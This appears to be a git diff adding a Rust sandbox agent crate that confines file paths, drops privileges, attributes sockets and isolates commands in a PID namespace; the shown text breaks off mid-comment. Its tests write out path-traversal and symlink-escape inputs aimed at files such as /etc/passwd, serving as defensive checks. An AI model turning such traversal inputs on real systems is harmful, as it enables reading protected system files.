&bytes).await.expect("writes"); + assert_eq!(read(&root, "/work/blob.bin").await.expect("reads"), bytes); + } + + /// Every entry point goes through the path resolver, so the escape rules hold for files as + /// well as exec. This is the test that would catch someone adding a path that bypasses it. + #[tokio::test] + async fn traversal_is_refused_on_every_operation() { + let (_dir, root) = root(); + + read(&root, "/../etc/passwd").await.expect_err("read must refuse traversal"); + write(&root, "/../evil.txt", b"x") + .await + .expect_err("write must refuse traversal"); + mkdir(&root, "/../evil").await.expect_err("mkdir must refuse traversal"); + } + + #[tokio::test] + async fn a_symlink_out_of_the_root_is_refused_on_read() { + let (_dir, root) = root(); + let outside = TempDir::new().expect("outside"); + let secret = outside.path().join("secret.txt"); + std::fs::write(&secret, b"not yours").expect("secret"); + std::fs::create_dir_all(root.join("work")).expect("work"); + + #[cfg(unix)] + std::os::unix::fs::symlink(&secret, root.join("work/link")).expect("symlink"); + + read(&root, "/work/link") + .await + .expect_err("a symlink out of the root must not be readable"); + } + + /// A directory read yields a confusing OS error, and by this point symlinks are resolved, + /// so anything that is not a regular file is worth naming explicitly. + #[tokio::test] + async fn reading_a_directory_is_refused_with_a_clear_reason() { + let (_dir, root) = root(); + mkdir(&root, "/work").await.expect("mkdir"); + + let error = read(&root, "/work").await.expect_err("a directory is not a file"); + assert!(error.to_string().contains("not a regular file")); + } + + /// The caller is across a network and the sandbox is not trusted to be honest about size; + /// an unbounded read is memory exhaustion the workload can trigger at will. + #[tokio::test] + async fn an_oversized_write_is_refused_before_touching_the_disk() { + let (_dir, root) = root(); + let too_big = vec![0u8; (MAX_TRANSFER_BYTES + 1) as usize]; + + let error = write(&root, "/work/big.bin", &too_big) + .await + .expect_err("over the limit"); + assert!(error.to_string().contains("transfer limit")); + + assert!( + !root.join("work/big.bin").exists(), + "nothing should have been written" + ); + } + + #[tokio::test] + async fn mkdir_is_idempotent() { + let (_dir, root) = root(); + + mkdir(&root, "/work/build").await.expect("creates"); + mkdir(&root, "/work/build") + .await + .expect("creating an existing directory is not a failure"); + } +} diff --git a/crates/alien-sandbox-agent/src/lib.rs b/crates/alien-sandbox-agent/src/lib.rs new file mode 100644 index 000000000..c556c29ef --- /dev/null +++ b/crates/alien-sandbox-agent/src/lib.rs @@ -0,0 +1,10 @@ +pub mod confine; +pub mod error; +pub mod exec; +pub mod pid_namespace; +pub mod files; +pub mod paths; +pub mod peer; +#[cfg(unix)] +pub mod privilege; +pub mod server; diff --git a/crates/alien-sandbox-agent/src/main.rs b/crates/alien-sandbox-agent/src/main.rs new file mode 100644 index 000000000..7769d8004 --- /dev/null +++ b/crates/alien-sandbox-agent/src/main.rs @@ -0,0 +1,203 @@ +//! The agent process, as it runs inside a sandbox. +//! +//! Everything it needs is read from the environment at start and fixed for the life of the +//! session. Nothing is negotiated at runtime: the process that placed this agent in the sandbox +//! is the only thing that gets to decide what session it serves and what authorises a request. + +use std::net::{Ipv4Addr, SocketAddr}; +use std::path::PathBuf; +use std::sync::Arc; + +use alien_core::sandbox_capability::SandboxSessionIdentity; +use alien_error::{AlienError, Context, IntoAlienError}; +use alien_sandbox_agent::error::{ErrorData, Result}; +use alien_sandbox_agent::exec::ExecIdentity; +use alien_sandbox_agent::server::{router, AgentAuthorization, AgentState}; +use base64::engine::general_purpose::STANDARD as BASE64; +use base64::Engine as _; +use ed25519_compact::PublicKey; + +/// Directory the session's files live under. Every caller-supplied path resolves against it. +const ENV_ROOT: &str = "ALIEN_SANDBOX_ROOT"; +/// Port the agent listens on. +const ENV_PORT: &str = "ALIEN_SANDBOX_PORT"; +/// `capability` or `transport` — see [`AgentAuthorization`]. +const ENV_AUTHORIZATION: &str = "ALIEN_SANDBOX_AUTHORIZATION"; +/// Session this agent serves. Required under `capability`. +const ENV_SESSION_ID: &str = "ALIEN_SANDBOX_SESSION_ID"; +/// Lifecycle generation the session started under. Required under `capability`. +const ENV_GENERATION: &str = "ALIEN_SANDBOX_GENERATION"; +/// Base64 Ed25519 public key that signs capabilities. Required under `capability`. +const ENV_PUBLIC_KEY: &str = "ALIEN_SANDBOX_PUBLIC_KEY"; +/// Bytes of each output stream kept before truncation. +const ENV_OUTPUT_CAP: &str = "ALIEN_SANDBOX_OUTPUT_CAP"; +/// Unprivileged uid commands run as. Required — see [`load_state`]. +const ENV_EXEC_UID: &str = "ALIEN_SANDBOX_EXEC_UID"; +/// Its primary group. +const ENV_EXEC_GID: &str = "ALIEN_SANDBOX_EXEC_GID"; + +/// Bytes of each stream kept when the environment does not say. +const DEFAULT_OUTPUT_CAP: usize = 4 * 1024 * 1024; + +#[tokio::main] +async fn main() -> Result<()> { + tracing_subscriber::fmt::init(); + + let state = Arc::new(load_state()?); + let port: u16 = parse(ENV_PORT)?; + + // All interfaces: on AWS the agent is reached from outside the guest, and a + // loopback bind would make it unreachable. + let address = SocketAddr::from((Ipv4Addr::UNSPECIFIED, port)); + let listener = tokio::net::TcpListener::bind(address) + .await + .into_alien_error() + .context(failed("bind the agent listener", "the agent could not take its port".to_string()))?; + + tracing::info!("sandbox agent listening on {address}"); + + axum::serve( + listener, + router(state).into_make_service_with_connect_info::(), + ) + .await + .into_alien_error() + .context(failed("serve the agent protocol", "the agent stopped serving".to_string())) +} + +fn load_state() -> Result { + let root = PathBuf::from(required(ENV_ROOT)?); + + // Canonical up front, because every path check compares against it. A root that is itself a + // symlink would make each comparison a false negative. + let session_root = root + .canonicalize() + .into_alien_error() + .context(failed( + &format!("resolve {ENV_ROOT} '{}'", root.display()), + "the session root must exist before the agent starts".to_string(), + ))?; + + let output_cap = match std::env::var(ENV_OUTPUT_CAP) { + Ok(_) => parse(ENV_OUTPUT_CAP)?, + Err(_) => DEFAULT_OUTPUT_CAP, + }; + + // Required, with no fall back to the agent's own identity. A command running as the agent + // can read and write the agent's binary and state, which is the escalation the uid split + // exists to prevent — so an image that forgets to set it must fail to start, not run wide. + let exec_identity = ExecIdentity { + uid: parse(ENV_EXEC_UID)?, + gid: parse(ENV_EXEC_GID)?, + }; + + if exec_identity.uid == 0 { + return Err(invalid(ENV_EXEC_UID, "must not be root")); + } + + // Group 0 reaches the agent's own files wherever they carry group permission, which is most + // of what refusing uid 0 is there to prevent. + if exec_identity.gid == 0 { + return Err(invalid(ENV_EXEC_GID, "must not be the root group")); + } + + // Refusing root is not enough where the agent itself is not root: running commands as the + // agent's own identity is the same escalation with a different number, and the bundle + // documents that configuration as a supported way to run on a shared kernel. + #[cfg(unix)] + { + // SAFETY: both are always-successful getters with no arguments. + let (agent_uid, agent_gid) = unsafe { (libc::geteuid(), libc::getegid()) }; + if exec_identity.uid == agent_uid { + return Err(invalid(ENV_EXEC_UID, "must not be the agent's own user")); + } + if exec_identity.gid == agent_gid { + return Err(invalid(ENV_EXEC_GID, "must not be the agent's own group")); + } + } + + Ok(AgentState { + session_root, + authorization: load_authorization()?, + exec_identity, + output_cap, + }) +} + +/// Reads the authorization mode. +/// +/// Deliberately has no default: an unset mode failing to start is a sandbox that never accepts a +/// request, where a defaulted one would be a sandbox that accepts every request. +fn load_authorization() -> Result { + match required(ENV_AUTHORIZATION)?.as_str() { + // This surface cannot bind loopback — on AWS it is reached from outside the guest — so + // the assumption it rests on is stated out loud at startup instead. Nothing here can tell + // which platform booted the agent, and only one of them makes that assumption true. + "transport" => { + // Refusing here rather than serving on an unanswered question: this mode tells the + // agent's own commands apart from its caller by reading the socket table, and a + // table it cannot read makes every caller look legitimate. + if !alien_sandbox_agent::peer::attribution_works() { + return Err(invalid( + ENV_AUTHORIZATION, + "cannot be 'transport' where the socket table is unreadable", + )); + } + + tracing::warn!( + "authorization=transport: requests are accepted without a capability. This \ + assumes the guest serves exactly one session and that the transport in front of \ + it is the only route to this port. Any platform where reaching the agent does \ + not prove which session the caller holds must set {ENV_AUTHORIZATION}=capability." + ); + Ok(AgentAuthorization::Transport) + } + "capability" => { + let encoded = required(ENV_PUBLIC_KEY)?; + let bytes = BASE64.decode(&encoded).map_err(|error| { + invalid(ENV_PUBLIC_KEY, &format!("not valid base64: {error}")) + })?; + let public_key = PublicKey::from_slice(&bytes) + .map_err(|error| invalid(ENV_PUBLIC_KEY, &format!("not an Ed25519 key: {error}")))?; + + Ok(AgentAuthorization::Capability { + public_key, + identity: SandboxSessionIdentity { + session_id: required(ENV_SESSION_ID)?, + generation: parse(ENV_GENERATION)?, + }, + }) + } + other => Err(invalid( + ENV_AUTHORIZATION, + &format!("'{other}' is not one of: capability, transport"), + )), + } +} + +fn required(name: &str) -> Result { + std::env::var(name).map_err(|_| invalid(name, "is required")) +} + +fn parse(name: &str) -> Result +where + T::Err: std::fmt::Display, +{ + required(name)? + .parse() + .map_err(|error| invalid(name, &format!("{error}"))) +} + +fn invalid(name: &str, reason: &str) -> AlienError { + AlienError::new(ErrorData::ConfigInvalid { + setting: name.to_string(), + reason: reason.to_string(), + }) +} + +fn failed(operation: &str, reason: String) -> ErrorData { + ErrorData::OperationFailed { + operation: operation.to_string(), + reason, + } +} diff --git a/crates/alien-sandbox-agent/src/paths.rs b/crates/alien-sandbox-agent/src/paths.rs new file mode 100644 index 000000000..0196ba3db --- /dev/null +++ b/crates/alien-sandbox-agent/src/paths.rs @@ -0,0 +1,250 @@ +//! Path safety for file operations inside a sandbox. +//! +//! The protocol's rule is specific and the ordering is the whole point: paths are +//! **resolved and re-checked against the root after resolution, not before**. Checking a path +//! for `..` and then opening it is the classic symlink escape — `/work/link` contains no +//! traversal and can still point at `/etc/shadow`. + +use std::path::{Component, Path, PathBuf}; + +use crate::error::{ErrorData, Result}; +use alien_error::AlienError; + +/// Resolves a caller-supplied path against the session root, refusing anything that escapes. +/// +/// `root` must already exist and be canonical. The returned path is canonical and guaranteed +/// to sit under it. +pub fn resolve_within_root(root: &Path, requested: &str) -> Result { + if requested.is_empty() { + return Err(refused(requested, "path is empty")); + } + + // Lexical rejection first — cheap, and it catches the obvious cases before any filesystem + // work. It is not sufficient on its own, which is what the post-resolution check is for. + let candidate = Path::new(requested); + for component in candidate.components() { + match component { + Component::ParentDir => return Err(refused(requested, "path traverses upward")), + Component::Prefix(_) => { + return Err(refused(requested, "path carries a filesystem prefix")) + } + _ => {} + } + } + + // An absolute path is interpreted relative to the session root rather than the real + // filesystem root, so `/work/x` means `/work/x`. Treating it as host-absolute would + // let a caller name any file the agent can read. + let relative = candidate.strip_prefix("/").unwrap_or(candidate); + let joined = root.join(relative); + + // Resolve the deepest existing ancestor, because the target itself may not exist yet on a + // write. Whatever does exist is canonicalised, which is what collapses symlinks. + let (existing, remainder) = deepest_existing(&joined); + let canonical_existing = existing.canonicalize().map_err(|error| { + refused( + requested, + &format!("path could not be resolved: {error}"), + ) + })?; + + if !canonical_existing.starts_with(root) { + // The lexical check passed and this still escaped, which means a symlink. This is the + // check that actually holds. + return Err(refused(requested, "path escapes the session root")); + } + + // Same guard as above: joining an empty remainder would append a separator, and a path + // ending in "/" makes the OS refuse a regular file with "Not a directory". + if remainder.as_os_str().is_empty() { + return Ok(canonical_existing); + } + + Ok(canonical_existing.join(remainder)) +} + +/// Splits a path into its deepest existing ancestor and the not-yet-existing tail. +fn deepest_existing(path: &Path) -> (PathBuf, PathBuf) { + let mut existing = path.to_path_buf(); + let mut remainder = PathBuf::new(); + + // `symlink_metadata`, not `exists`: `exists` follows links, so a *dangling* symlink reads as + // absent, is folded into `remainder`, and gets re-appended below without ever being + // canonicalised. Anything that can plant a link in the root then writes through it. + while existing.symlink_metadata().is_err() { + let Some(parent) = existing.parent() else { + break; + }; + let Some(name) = existing.file_name() else { + break; + }; + + // Guarded because `Path::join` with an empty path appends a separator, which would + // make the resolved path end in "/" and the OS treat a file target as a directory. + remainder = if remainder.as_os_str().is_empty() { + PathBuf::from(name) + } else { + Path::new(name).join(&remainder) + }; + existing = parent.to_path_buf(); + } + + (existing, remainder) +} + +fn refused(path: &str, reason: &str) -> AlienError { + AlienError::new(ErrorData::PathRefused { + path: path.to_string(), + reason: reason.to_string(), + }) +} + +#[cfg(test)] +mod tests { + use super::*; + use std::fs; + use tempfile::TempDir; + + fn root() -> (TempDir, PathBuf) { + let dir = TempDir::new().expect("temp dir"); + let root = dir.path().canonicalize().expect("canonical root"); + fs::create_dir_all(root.join("work")).expect("work dir"); + (dir, root) + } + + #[test] + fn a_path_inside_the_root_resolves() { + let (_dir, root) = root(); + fs::write(root.join("work/main.py"), b"x").expect("file"); + + let resolved = resolve_within_root(&root, "/work/main.py").expect("inside the root"); + assert!(resolved.starts_with(&root)); + assert!(resolved.ends_with("work/main.py")); + } + + #[test] + fn a_path_that_does_not_exist_yet_resolves_for_writing() { + let (_dir, root) = root(); + + let resolved = resolve_within_root(&root, "/work/new/deep.txt").expect("write target"); + assert!(resolved.starts_with(&root)); + assert!(resolved.ends_with("work/new/deep.txt")); + + // Compared as a string, not with ends_with: Path comparison ignores a trailing + // separator, and a trailing separator is exactly what made the OS refuse the write. + assert!( + !resolved.to_string_lossy().ends_with('/'), + "a file target must not resolve with a trailing separator: {resolved:?}" + ); + } + + #[test] + fn upward_traversal_is_refused() { + let (_dir, root) = root(); + + for path in ["/work/../../etc/passwd", "../escape", "/work/../..", "a/../../b"] { + match resolve_within_root(&root, path) { + Ok(resolved) => panic!("'{path}' resolved to {} instead of being refused", resolved.display()), + Err(error) => assert!( + error.to_string().contains("traverses upward"), + "'{path}' must be refused for traversal, got: {error}" + ), + } + } + } + + /// The reason the check happens *after* resolution. This path contains no `..` and passes + /// every lexical test; only canonicalisation reveals where it actually points. + #[test] + fn a_symlink_pointing_outside_the_root_is_refused() { + let (_dir, root) = root(); + let outside = TempDir::new().expect("outside dir"); + let secret = outside.path().join("secret.txt"); + fs::write(&secret, b"not yours").expect("secret"); + + #[cfg(unix)] + std::os::unix::fs::symlink(&secret, root.join("work/link")).expect("symlink"); + + let error = resolve_within_root(&root, "/work/link") + .expect_err("a symlink out of the root must be refused"); + assert!( + error.to_string().contains("escapes the session root"), + "the refusal must name the actual reason: {error}" + ); + } + + /// A symlinked *directory* is the same attack one level up: the traversal happens inside + /// the resolved parent, so a check on the leaf alone would miss it. + #[test] + fn a_symlinked_parent_directory_is_refused() { + let (_dir, root) = root(); + let outside = TempDir::new().expect("outside dir"); + fs::write(outside.path().join("secret.txt"), b"not yours").expect("secret"); + + #[cfg(unix)] + std::os::unix::fs::symlink(outside.path(), root.join("work/escape")).expect("symlink"); + + resolve_within_root(&root, "/work/escape/secret.txt") + .expect_err("a symlinked parent directory must be refused"); + } + + /// A link whose target does not exist yet. It is the dangerous case precisely because it + /// looks absent: resolving it as a not-yet-created file would hand back a path that writes + /// through the link, outside the root, the moment the OS follows it. + #[test] + #[cfg(unix)] + fn a_dangling_symlink_out_of_the_root_is_refused() { + let (_dir, root) = root(); + let outside = TempDir::new().expect("outside dir"); + let target = outside.path().join("planted.txt"); + assert!(!target.exists(), "the target must not exist for this to be a dangling link"); + + std::os::unix::fs::symlink(&target, root.join("work/evil")).expect("symlink"); + + let error = resolve_within_root(&root, "/work/evil") + .expect_err("a dangling symlink out of the root must be refused"); + assert!( + !target.exists(), + "resolving must not create the link target at {}", + target.display() + ); + assert!( + error.to_string().contains("could not be resolved") + || error.to_string().contains("escapes the session root"), + "the refusal must name the resolution failure: {error}" + ); + } + + /// Hard links are deliberately not refused here. A link is a second name for an inode, so + /// this resolver cannot tell one from the file itself, and refusing multiply-linked files + /// breaks the ones build tooling makes on purpose — package stores, `cp -al`, virtualenvs. + #[test] + fn a_hard_linked_file_inside_the_root_still_resolves() { + let (_dir, root) = root(); + fs::write(root.join("work/a.txt"), b"x").expect("file"); + fs::hard_link(root.join("work/a.txt"), root.join("work/b.txt")).expect("hard link"); + + resolve_within_root(&root, "/work/b.txt").expect("a hard-linked file is still a file"); + } + + #[test] + fn an_empty_path_is_refused() { + let (_dir, root) = root(); + resolve_within_root(&root, "").expect_err("an empty path names nothing"); + } + + /// An absolute path is relative to the session root, not the host filesystem. Treating it + /// as host-absolute would let a caller name any file the agent can read. + #[test] + fn an_absolute_path_is_interpreted_against_the_session_root() { + let (_dir, root) = root(); + fs::write(root.join("work/main.py"), b"x").expect("file"); + + let with_slash = resolve_within_root(&root, "/work/main.py").expect("resolves"); + let without = resolve_within_root(&root, "work/main.py").expect("resolves"); + assert_eq!(with_slash, without); + + // Existing files take the other deepest_existing branch, which must also not append a separator. + assert!(!with_slash.to_string_lossy().ends_with('/')); + } +} diff --git a/crates/alien-sandbox-agent/src/peer.rs b/crates/alien-sandbox-agent/src/peer.rs new file mode 100644 index 000000000..50f1575e5 --- /dev/null +++ b/crates/alien-sandbox-agent/src/peer.rs @@ -0,0 +1,236 @@ +//! Telling the code the agent supervises apart from the caller it serves. +//! +//! In transport mode the agent accepts requests without a capability, because the cloud in front +//! of it already scopes the caller to one sandbox. That holds for anything arriving through the +//! transport. It does not hold for the command the agent itself spawned: that command shares the +//! guest's network stack, so it can reach the same port directly. +//! +//! The discriminator is the connecting socket's owner, not its address. A proxy that terminates +//! inside the guest also connects over loopback, so refusing loopback would refuse the one caller +//! the agent exists to serve. Refusing the exec uid refuses exactly the code being supervised. + +use std::net::SocketAddr; + +/// Whether transport mode may serve `peer`. +/// +/// A caller arriving through the transport connects from off the machine, so its socket is on the +/// far side and this host knows nothing about it. Anything connecting from an address this host +/// holds is inside the guest, and the only process that should be there is the one the agent is +/// running — so an in-guest caller has to prove it is something else. +pub fn transport_may_serve(peer: SocketAddr, exec_uid: u32) -> bool { + // Attribution reads the kernel's socket table, which only Linux offers. The agent ships in + // Linux images, and `attribution_works` refuses to start transport mode without it, so this + // is the development build rather than a mode a sandbox ever runs in. + if !cfg!(target_os = "linux") { + return true; + } + + decide(originates_here(peer), owning_uid(peer), exec_uid) +} + +/// The rule itself, without the I/O, so every combination is testable. +/// +/// An unattributable in-guest socket is refused rather than served: a command can write its +/// request and close before the socket table is read, and treating that as "not one of ours" +/// would make the check optional for anyone who asks quickly enough. +fn decide(originates_here: bool, owner: Option, exec_uid: u32) -> bool { + if !originates_here { + return true; + } + + matches!(owner, Some(uid) if uid != exec_uid) +} + +/// Whether `peer` is an address this host holds. +/// +/// Not a loopback test: a command can reach the agent through the guest's routable address just +/// as easily, and that is still the same machine. +/// +/// Asked by binding rather than by walking the interface list, because only an address this host +/// holds can be bound. +fn originates_here(peer: SocketAddr) -> bool { + let mut probe = peer; + probe.set_port(0); + + bind_says_local(std::net::UdpSocket::bind(probe).map(|_| ())) +} + +/// What a probe's outcome means, without the I/O, so both failure meanings are testable. +/// +/// `EADDRNOTAVAIL` is the one answer that says the address is not on this host. Every other +/// failure says the question could not be asked, and that is treated as local so a restricted +/// environment refuses rather than serves. +fn bind_says_local(probe: std::io::Result<()>) -> bool { + match probe { + Ok(()) => true, + Err(error) => error.kind() != std::io::ErrorKind::AddrNotAvailable, + } +} + +/// Whether socket attribution can be performed in this environment. +/// +/// Checked once at startup rather than per request, because the per-request answer is ambiguous +/// on its own: an unattributable socket is either a caller arriving through the transport or a +/// table this process cannot read, and only one of those is safe to serve. Establishing the +/// mechanism works up front leaves the first meaning as the only one. +pub fn attribution_works() -> bool { + !cfg!(target_os = "linux") || std::fs::read_to_string("/proc/net/tcp").is_ok() +} + +/// The uid owning the socket whose *local* end is `peer`. +/// +/// A connecting socket's local end is the address the accepting side sees as its peer, so the +/// entry is found by matching `peer` against the local column rather than the remote one. +/// +/// `None` when `/proc/net/tcp` cannot be read or holds no matching entry, which the caller has to +/// decide about: this is a second lock over path confinement and the uid drop, not the first. +#[cfg(target_os = "linux")] +pub fn owning_uid(peer: SocketAddr) -> Option { + for table in ["/proc/net/tcp", "/proc/net/tcp6"] { + let Ok(contents) = std::fs::read_to_string(table) else { + continue; + }; + + if let Some(uid) = find_owner(&contents, peer) { + return Some(uid); + } + } + + None +} + +#[cfg(not(target_os = "linux"))] +pub fn owning_uid(_peer: SocketAddr) -> Option { + None +} + +/// Scans one `/proc/net/tcp`-format table. Split out so the parsing is testable off Linux. +#[cfg(any(target_os = "linux", test))] +/// +/// Columns are `sl local_address rem_address st tx:rx tr:when retrnsmt uid ...`, with addresses +/// as big-endian hex and the port after a colon. +fn find_owner(table: &str, peer: SocketAddr) -> Option { + for line in table.lines().skip(1) { + let columns: Vec<&str> = line.split_whitespace().collect(); + if columns.len() < 8 { + continue; + } + + let (address, port) = columns[1].split_once(':')?; + if u16::from_str_radix(port, 16).ok()? != peer.port() { + continue; + } + + // The port alone is not enough: two sockets can share a port across interfaces, and + // attributing the wrong one would refuse a legitimate caller. + if !address_matches(address, peer) { + continue; + } + + return columns[7].parse().ok(); + } + + None +} + +/// Whether a `/proc/net/tcp` address column names the same host as `peer`. +#[cfg(any(target_os = "linux", test))] +/// +/// IPv4 is four bytes of little-endian hex; IPv6 is sixteen written as four such words. +fn address_matches(column: &str, peer: SocketAddr) -> bool { + match peer { + SocketAddr::V4(peer) => u32::from_str_radix(column, 16) + .map(|raw| std::net::Ipv4Addr::from(raw.to_be())) + .is_ok_and(|address| address == *peer.ip()), + SocketAddr::V6(peer) => { + if column.len() != 32 { + return false; + } + let mut octets = [0u8; 16]; + for (word, chunk) in column.as_bytes().chunks(8).enumerate() { + let Ok(raw) = u32::from_str_radix(std::str::from_utf8(chunk).unwrap_or(""), 16) + else { + return false; + }; + octets[word * 4..word * 4 + 4].copy_from_slice(&raw.to_le_bytes()); + } + std::net::Ipv6Addr::from(octets) == *peer.ip() + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + + const TABLE: &str = " sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode + 0: 0100007F:9224 0100007F:2313 01 00000000:00000000 00:00000000 00000000 60000 0 12345 1 + 1: 0100007F:9228 0100007F:2313 01 00000000:00000000 00:00000000 00000000 0 0 12346 1"; + + /// Getting this backwards turns every in-guest caller into a remote one, which in transport + /// mode is the entire check. Loopback pins the local side because it is on every host; the + /// documentation range pins the other because it is on none. + #[test] + fn this_host_recognises_its_own_addresses() { + assert!( + originates_here("127.0.0.1:9224".parse().expect("literal")), + "loopback must be recognised as local, or transport mode serves the code it runs" + ); + assert!( + originates_here("[::1]:9224".parse().expect("literal")), + "the guest reaches the agent over IPv6 loopback just as easily" + ); + assert!( + !originates_here("203.0.113.7:9224".parse().expect("literal")), + "a documentation-range address is not on this host" + ); + } + + /// A probe that fails is not evidence of anything on its own. Reading "could not ask" as + /// "remote" would serve the supervised code on any host that refuses the probe. + #[test] + fn only_an_unavailable_address_reads_as_remote() { + use std::io::{Error, ErrorKind}; + + assert!(bind_says_local(Ok(()))); + assert!(!bind_says_local(Err(Error::from(ErrorKind::AddrNotAvailable)))); + assert!(bind_says_local(Err(Error::from(ErrorKind::PermissionDenied)))); + assert!(bind_says_local(Err(Error::from(ErrorKind::Unsupported)))); + } + + fn v4(port: u16) -> SocketAddr { + SocketAddr::from(([127, 0, 0, 1], port)) + } + + /// Every combination of the rule, including the one a command can arrange for itself by + /// closing its socket before the table is read. + #[test] + fn only_an_identified_in_guest_caller_that_is_not_the_supervised_code_is_served() { + // Off the machine: the transport already scoped it, and its socket is not ours to read. + assert!(decide(false, None, 60000)); + assert!(decide(false, Some(60000), 60000)); + + // In the guest: it has to be something other than the code the agent runs. + assert!(decide(true, Some(0), 60000), "another user in the guest is a caller"); + assert!(!decide(true, Some(60000), 60000), "the supervised code is not a caller"); + assert!(!decide(true, None, 60000), "an in-guest socket we cannot attribute is refused"); + } + + #[test] + fn the_socket_owner_is_read_from_the_matching_row() { + assert_eq!(find_owner(TABLE, v4(0x9224)), Some(60000)); + assert_eq!(find_owner(TABLE, v4(0x9228)), Some(0)); + } + + #[test] + fn a_port_with_no_entry_is_not_attributed() { + assert_eq!(find_owner(TABLE, v4(0x9999)), None); + } + + /// The port alone would match both rows here. Attributing by port only would report the + /// sandbox uid for a caller arriving on another interface, and refuse it. + #[test] + fn a_matching_port_on_another_address_is_not_attributed() { + assert_eq!(find_owner(TABLE, SocketAddr::from(([10, 0, 0, 5], 0x9224))), None); + } +} diff --git a/crates/alien-sandbox-agent/src/pid_namespace.rs b/crates/alien-sandbox-agent/src/pid_namespace.rs new file mode 100644 index 000000000..77616e67c --- /dev/null +++ b/crates/alien-sandbox-agent/src/pid_namespace.rs @@ -0,0 +1,157 @@ +//! Running a command as PID 1 of its own namespace, so it cannot see or signal the agent. +//! +//! This is supervisor isolation's second lock; the first (uid drop plus path confinement) +//! already closes the escalation. This one prevents untrusted code from enumerating or signaling +//! the agent. +//! +//! **No backend grants `CAP_SYS_ADMIN` today.** Creating a PID namespace needs +//! `CAP_SYS_ADMIN`. The agent inside a Lambda MicroVM runs as uid 0 with +//! `CapEff: 00000000a80425fb` — the standard container default set, which holds `CAP_SETUID` and +//! `CAP_SETGID` (so the uid drop works) and excludes `CAP_SYS_ADMIN`. A Kubernetes sandbox pod +//! drops every capability by design. So `SandboxCapabilities::supervisor_pid_namespace` is +//! `false` everywhere, and this code is gated on a real capability read rather than deleted: it +//! turns itself on if a runtime ever grants the capability, and it turns nothing on until then. +//! +//! Two ordering traps are handled here and both are silent if you get them wrong: +//! +//! 1. **`std` drops the uid before running `pre_exec`.** So the unshare has to happen inside the +//! closure *and* the uid drop has to move in with it, because by the time a `Command::uid()` +//! has taken effect there is no privilege left to create a namespace with. +//! 2. **`unshare(CLONE_NEWPID)` does not move the caller.** It affects the caller's future +//! children, so the process that unshares must fork; the fork's child is PID 1. + +#[cfg(target_os = "linux")] +use std::io; + +use crate::exec::ExecIdentity; + +/// Whether this process can create a PID namespace for its children. +/// +/// Reads the effective capability set rather than checking for uid 0. **Root is not the same as +/// `CAP_SYS_ADMIN`**: a Lambda MicroVM runs the agent as uid 0 with `CAP_SYS_ADMIN` masked out, +/// so a uid-0 check would fail every spawn with `EPERM` from inside `pre_exec`, surfacing to the +/// caller only as `spawnFailed`. +#[cfg(target_os = "linux")] +pub fn available() -> bool { + effective_capabilities().is_some_and(|capabilities| capabilities & (1 << CAP_SYS_ADMIN) != 0) +} + +/// `CAP_SYS_ADMIN` in `capability.h`. +#[cfg(target_os = "linux")] +const CAP_SYS_ADMIN: u64 = 21; + +/// Reads `CapEff` from `/proc/self/status`, or `None` if it cannot be read. +/// +/// `None` means no namespace: a capability we cannot confirm is one we do not claim. +#[cfg(target_os = "linux")] +fn effective_capabilities() -> Option { + let status = std::fs::read_to_string("/proc/self/status").ok()?; + let line = status.lines().find(|line| line.starts_with("CapEff:"))?; + u64::from_str_radix(line.split_whitespace().nth(1)?, 16).ok() +} + +#[cfg(not(target_os = "linux"))] +pub fn available() -> bool { + false +} + +/// Installs the namespace-and-drop sequence on a command about to be spawned. +/// +/// The caller must **not** also set `Command::uid`/`gid`: this performs the drop itself, after +/// the unshare, for the reason in the module docs. +#[cfg(target_os = "linux")] +pub fn apply(command: &mut tokio::process::Command, identity: ExecIdentity) { + unsafe { + command.pre_exec(move || enter_namespace(identity)); + } +} + +#[cfg(not(target_os = "linux"))] +pub fn apply(_command: &mut tokio::process::Command, _identity: ExecIdentity) {} + +/// Runs in the forked child, before `exec`. Everything here is async-signal-safe. +/// +/// Returning `Ok` continues to `exec`; the intermediate process never returns, it waits for +/// PID 1 and exits with its status so the caller sees the command's real exit code. +#[cfg(target_os = "linux")] +fn enter_namespace(identity: ExecIdentity) -> io::Result<()> { + unsafe { + if libc::unshare(libc::CLONE_NEWPID | libc::CLONE_NEWNS) != 0 { + return Err(io::Error::last_os_error()); + } + + match libc::fork() { + -1 => Err(io::Error::last_os_error()), + 0 => become_pid_one(identity), + child => supervise(child), + } + } +} + +/// The new namespace's PID 1: give it its own `/proc`, drop privilege, continue to `exec`. +#[cfg(target_os = "linux")] +unsafe fn become_pid_one(identity: ExecIdentity) -> io::Result<()> { + // Die with the intermediate. A deadline kills the intermediate, and PID 1 outliving it would + // leave a runaway with no parent — the opposite of what a deadline is for. When PID 1 goes, + // the kernel takes the rest of the namespace with it. + if libc::prctl(libc::PR_SET_PDEATHSIG, libc::SIGKILL) != 0 { + return Err(io::Error::last_os_error()); + } + + // Private first, or the /proc mount below propagates back to the host namespace and the + // agent's own view of its processes changes underneath it. + if libc::mount( + std::ptr::null(), + c"/".as_ptr(), + std::ptr::null(), + libc::MS_REC | libc::MS_PRIVATE, + std::ptr::null(), + ) != 0 + { + return Err(io::Error::last_os_error()); + } + + // Without this the command reads the host's /proc and sees every process, which is most of + // what the namespace was for. + if libc::mount( + c"proc".as_ptr(), + c"/proc".as_ptr(), + c"proc".as_ptr(), + 0, + std::ptr::null(), + ) != 0 + { + return Err(io::Error::last_os_error()); + } + + crate::privilege::drop_to(identity)?; + + Ok(()) +} + +/// The intermediate process: wait for PID 1 and exit with its status. +/// +/// Never returns, so it never reaches `exec`. The caller's `wait()` sees this process, which is +/// why its exit status has to be the command's. +#[cfg(target_os = "linux")] +unsafe fn supervise(child: libc::pid_t) -> ! { + let mut status: libc::c_int = 0; + + while libc::waitpid(child, &mut status, 0) < 0 { + if *libc::__errno_location() != libc::EINTR { + libc::_exit(127); + } + } + + if libc::WIFEXITED(status) { + libc::_exit(libc::WEXITSTATUS(status)); + } + + // Signalled. 128+signal is the shell convention, and it distinguishes "killed" from an exit + // code the command chose. + if libc::WIFSIGNALED(status) { + libc::_exit(128 + libc::WTERMSIG(status)); + } + + libc::_exit(127) +} diff --git a/crates/alien-sandbox-agent/src/privilege.rs b/crates/alien-sandbox-agent/src/privilege.rs new file mode 100644 index 000000000..e5e74618e --- /dev/null +++ b/crates/alien-sandbox-agent/src/privilege.rs @@ -0,0 +1,56 @@ +//! Dropping to the unprivileged identity a command runs as. +//! +//! One implementation, used by both spawn paths. The PID-namespace path has to drop inside the +//! namespace, and the ordinary path cannot use `Command::uid`/`gid` for it: `std` applies those +//! before `pre_exec` runs, 